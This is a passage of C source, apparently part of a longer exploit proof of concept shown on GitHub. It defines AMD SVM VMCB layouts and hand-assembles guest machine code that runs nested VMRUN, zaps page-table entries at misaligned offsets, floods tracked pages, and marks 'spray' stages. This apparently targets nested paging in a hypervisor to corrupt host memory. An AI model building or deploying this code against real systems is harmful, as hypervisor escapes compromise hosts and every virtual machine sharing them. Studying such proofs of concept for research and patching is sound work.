	uint16_t selector, attrib;
	uint32_t limit;
	uint64_t base;
};

struct __attribute__((packed)) vmcb_control_area {
	uint32_t intercepts[MAX_INTERCEPT];
	uint32_t reserved_1[15 - MAX_INTERCEPT];
	uint16_t pause_filter_thresh, pause_filter_count;
	uint64_t iopm_base_pa, msrpm_base_pa, tsc_offset;
	uint32_t asid;
	uint8_t tlb_ctl;
	uint8_t reserved_2[3];
	uint32_t int_ctl, int_vector, int_state;
	uint8_t reserved_3[4];
	uint32_t exit_code, exit_code_hi;
	uint64_t exit_info_1, exit_info_2;
	uint32_t exit_int_info, exit_int_info_err;
	uint64_t nested_ctl, avic_vapic_bar, ghcb_gpa;
	uint32_t event_inj, event_inj_err;
	uint64_t nested_cr3, virt_ext;
	uint32_t clean, reserved_5;
	uint64_t next_rip;
	uint8_t insn_len, insn_bytes[15];
	uint64_t avic_backing_page;
	uint8_t reserved_6[8];
	uint64_t avic_logical_id, avic_physical_id;
	uint8_t reserved_7[8];
	uint64_t vmsa_pa;
	uint8_t reserved_8[720];
	uint8_t reserved_sw[32];
};

struct __attribute__((packed)) vmcb_save_area {
	struct vmcb_seg es, cs, ss, ds, fs, gs, gdtr, ldtr, idtr, tr;
	uint8_t reserved_1[43];
	uint8_t cpl;
	uint8_t reserved_2[4];
	uint64_t efer;
	uint8_t reserved_3[112];
	uint64_t cr4, cr3, cr0, dr7, dr6, rflags, rip;
	uint8_t reserved_4[88];
	uint64_t rsp;
	uint8_t reserved_5[24];
	uint64_t rax, star, lstar, cstar, sfmask, kernel_gs_base, sysenter_cs,
		sysenter_esp, sysenter_eip, cr2;
	uint8_t reserved_6[32];
	uint64_t g_pat, dbgctl, br_from, br_to, last_excp_from, last_excp_to;
};

struct __attribute__((packed)) vmcb {
	struct vmcb_control_area control;
	struct vmcb_save_area save;
};

static void die(const char *m)
{
	fprintf(stderr, "%s: %s\n", m, strerror(errno));
	exit(1);
}

#define X(fd, req, arg, m)                   \
	do {                                 \
		if (ioctl(fd, req, arg) < 0) \
			die(m);              \
	} while (0)
static uint8_t *M;
static inline void w64(uint32_t gpa, uint64_t v)
{
	*(uint64_t *)(M + gpa) = v;
}

static inline void e8(uint8_t **p, uint8_t v)
{
	*(*p)++ = v;
}

static inline void e32(uint8_t **p, uint32_t v)
{
	memcpy(*p, &v, sizeof(v));
	*p += sizeof(v);
}

static inline void e64(uint8_t **p, uint64_t v)
{
	memcpy(*p, &v, sizeof(v));
	*p += sizeof(v);
}

static void emit32_store_imm(uint8_t **pp, uint32_t addr, uint32_t val)
{
	uint8_t *p = *pp;

	e8(&p, 0xc7);
	e8(&p, 0x05);
	e32(&p, addr);
	e32(&p, val);
	*pp = p;
}

static void emit32_store8_imm(uint8_t **pp, uint32_t addr, uint8_t val)
{
	uint8_t *p = *pp;

	e8(&p, 0xc6);
	e8(&p, 0x05);
	e32(&p, addr);
	e8(&p, val);
	*pp = p;
}

static void emit32_misaligned_child_zap(uint8_t **pp, uint32_t child_pt_page)
{
	uint8_t *p = *pp;

	e8(&p, 0xc6);
	e8(&p, 0x05);
	e32(&p, child_pt_page + 0xfffu);
	e8(&p, 0);
	*pp = p;
}

static void emit32_load_eax(uint8_t **pp, uint32_t addr)
{
	uint8_t *p = *pp;

	e8(&p, 0xa1);
	e32(&p, addr);
	*pp = p;
}

static void emit32_store_eax(uint8_t **pp, uint32_t addr)
{
	uint8_t *p = *pp;

	e8(&p, 0xa3);
	e32(&p, addr);
	*pp = p;
}

static void emit32_store64_imm(uint8_t **pp, uint32_t addr, uint64_t val)
{
	emit32_store_imm(pp, addr, (uint32_t)val);
	emit32_store_imm(pp, addr + 4, (uint32_t)(val >> 32));
}

static void emit32_vmrun_at(uint8_t **pp, uint32_t vmcb, uint32_t nested_cr3,
			    uint32_t rip)
{
	uint8_t *p = *pp;

	emit32_store64_imm(
		&p, vmcb + offsetof(struct vmcb_control_area, nested_cr3),
		nested_cr3);
	emit32_store64_imm(&p,
			   vmcb + offsetof(struct vmcb, save) +
				   offsetof(struct vmcb_save_area, rip),
			   rip);
	emit32_store64_imm(&p, vmcb + offsetof(struct vmcb_control_area, clean),
			   0);
	emit32_store64_imm(&p,
			   vmcb + offsetof(struct vmcb_control_area, exit_code),
			   0x89abcdefdeadbeefull);
	emit32_store64_imm(
		&p, vmcb + offsetof(struct vmcb_control_area, exit_info_1),
		0x1111222233334444ull);
	emit32_store64_imm(
		&p, vmcb + offsetof(struct vmcb_control_area, exit_info_2),
		0x5555666677778888ull);
	emit32_store64_imm(&p, G1_PAE_PDPT, (uint64_t)G1_PAE_PD | 0x1);
	e8(&p, 0xb8);
	e32(&p, vmcb);
	e8(&p, 0x0f);
	e8(&p, 0x01);
	e8(&p, 0xd8);
	*pp = p;
}

static void emit_fail_stop_loop(uint8_t **pp)
{
	e8(pp, 0xfa);
	e8(pp, 0xf4);
	e8(pp, 0xeb);
	e8(pp, 0xfd);
}

static void emit32_require_vmmcall(uint8_t **pp, uint32_t vmcb, uint8_t stage)
{
	uint8_t *p = *pp;

	e8(&p, 0x81);
	e8(&p, 0x3d);
	e32(&p, vmcb + offsetof(struct vmcb_control_area, exit_code));
	e32(&p, 0x81);
	e8(&p, 0x74);
	e8(&p, 0x0b);
	emit32_store8_imm(&p, SPRAY_ARM + 48, stage);
	emit_fail_stop_loop(&p);
	*pp = p;
}

static void emit64_store_imm(uint8_t **pp, uint64_t addr, uint64_t val)
{
	uint8_t *p = *pp;

	e8(&p, 0x48);
	e8(&p, 0xb8);
	e64(&p, val);
	e8(&p, 0x48);
	e8(&p, 0xa3);
	e64(&p, addr);
	*pp = p;
}

static void emit64_misaligned_child_zap(uint8_t **pp, uint32_t child_pt_page)
{
	uint8_t *p = *pp;

	e8(&p, 0xc6);
	e8(&p, 0x04);
	e8(&p, 0x25);
	e32(&p, child_pt_page + 0xfffu);
	e8(&p, 0);
	*pp = p;
}

static void emit64_flood_prepare_page(uint8_t **pp, uint32_t tracked_page)
{
	uint8_t *p = *pp;

	for (int i = 0; i < 3; i++) {
		e8(&p, 0xc6);
		e8(&p, 0x04);
		e8(&p, 0x25);
		e32(&p, tracked_page + 0xff8u);
		e8(&p, 0);
	}
	*pp = p;
}

static void emit_vmrun_h_root_at(uint8_t **pp, uint32_t nested_cr3,
				 uint32_t nested_rip);
static void emit64_require_h_vmmcall(uint8_t **pp, uint8_t stage);
static uint8_t *emit_rel32_jcc(uint8_t **pp, uint8_t cc)
{
	uint8_t *p = *pp, *disp;

	e8(&p, 0x0f);
	e8(&p, cc);
	disp = p;
	e32(&p, 0);
	*pp = p;
	return disp;
}

static uint8_t *emit_rel32_jmp(uint8_t **pp)
{
	uint8_t *p = *pp, *disp;
Showing 500 of 6338 lines View full file on GitHub →